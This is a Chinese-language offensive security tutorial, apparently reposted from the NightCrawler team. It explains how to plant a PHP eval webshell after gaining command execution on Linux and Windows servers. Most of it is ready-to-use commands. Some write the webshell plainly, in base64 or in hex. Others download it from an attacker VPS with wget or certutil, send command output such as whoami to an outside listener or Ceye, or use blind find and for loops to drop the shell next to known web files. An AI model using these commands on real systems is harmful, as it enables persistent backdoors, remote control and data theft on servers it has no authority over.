以下文章来自夜组安全的LLBBB师傅,希望大家能够从中有所获。 NightCrawler安全团队诚邀各位共同学习,共同进步。
当我们获取到执行命令的权限后,如何写入webshell?
1.1目标出网,命令有回显
想要写入webshell,首先要知道服务器的绝对路径。通过find命令查找\php\jsp\asp
等文件即找到绝对路径。find / -name index.php
(1)通过echo写入webshell
echo <?php eval($_POST[1]);?>
> 目录/1.php #直接写webshell
其余写入的方式:
echo JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiUyMCUzRiUzRQ== |base64 -d >目录/1.php
# base64编码后写入
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 目录/1.php
# hex编码后写入
(2)远程下载webshell
如果目标能使用wget命令,可直接下载vps的webshell。 wget http://ip:port/x.php -O /目录/1.php
1.2目标出网,命令无回显
服务器开启监听,wget命令请求服务器监听地址,可以将命令执行的结果带出。
wget http://ip:port/`cmd`
拿到路径以后直接写入或者下载webshell即可。
1.3目标不出网,命令无回显
(1)获取绝对路径
使用以下命令,可以在查询文件的同级目录下,写入一个test.txt
文件,访问该文件可以看到我们命令执行的结果。
find /|grep [查询的文件名]|while read f;do sh -c "[要执行的命令]" >$(dirname $f)/test.txt;done
我们使用该命令,同样可以查询到web服务器的绝对路径。
拿到路径以后直接写入webshell即可。
(2)盲打
假设获取路径失败,直接写入到网站某个文件的同级目录下即可。
find / -name [文件名]|while read file;do sh -c "echo [base64编码内容] | base64 -d">$(dirname $file)/[写入的文件名];done
比如我们可以写入文件(123.php)到网站robots.txt
的同级目录之下(最好确保该文件名唯一):
成功写入:
2.1 目标出网,命令有回显
windows使用如下命令确认绝对路径:
for /r "C:\" %i in ([文件名]*) do @echo %i
以pikachu1.png文件为例:
(1)确定绝对路径以后,直接写入webshell即可: echo ^<?php eval($_POST[1]); ?>^> > 目录\1.php
(2)远程下载webshell,使用certutil
等命令,原理和linux相同。
2.2 目标出网,命令无回显
使用Ceye平台接收外数据 (1)执行whoami
命令并将结果发送至Ceye for /f %i in ('whoami') do certutil -urlcache -split -f http://x.x.x.x/%i
(2)寻找web文件的绝对路径并将结果发送至Ceye
for /r c:\ %i in (文件名*) do certutil -urlcache -split -f http://x.x.x.x/%i
2.3 目标不出网,命令无回显
(1)查找绝对路径
cmd /c "for /f %i in ('dir /s /b c:\文件名') do (echo %i> %i.path.txt)"
这里以查找pikachu1.png绝对路径为例,命令执行结果会写入到pikachu1.png文件的同级目录,访问pikachu1.png.txt文件,即可看到命令执行的结果。
拿到绝对路径以后直接写入webshell即可。
(2)盲打
假设获取路径失败,使用以下命令直接写入webshell到网站某个文件的同级目录下即可。 cmd /c "for /f %i in ('dir /s /b 盘符:文件命') do (echo shell > %i/../shell.php)"
这里尝试将webshell写入到pikachu1.png文件的同级目录下
php的一句话里有问号,直接写会报错,这里通过base64
编码分两步写入。
for /f %i in ('dir /s /b c:\pikachu1.png') do (echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== > %i\..\shell123.txt)
for /f %i in ('dir /s /b c:\shell123.txt') do (certutil.exe -decode %i\..\shell123.txt %i\..\shell.php)
成功写入webshell到pikachu1.png文件的同级目录下,并且解析成功。
"恐惧就是貌似真实的伪证" NightCrawler Team(简称:夜组)主攻WEB安全 | 内网渗透 | 红蓝对抗 | 代码审计 | APT攻击,致力于将每一位藏在暗处的白帽子聚集在一起,在夜空中划出一道绚丽的光线!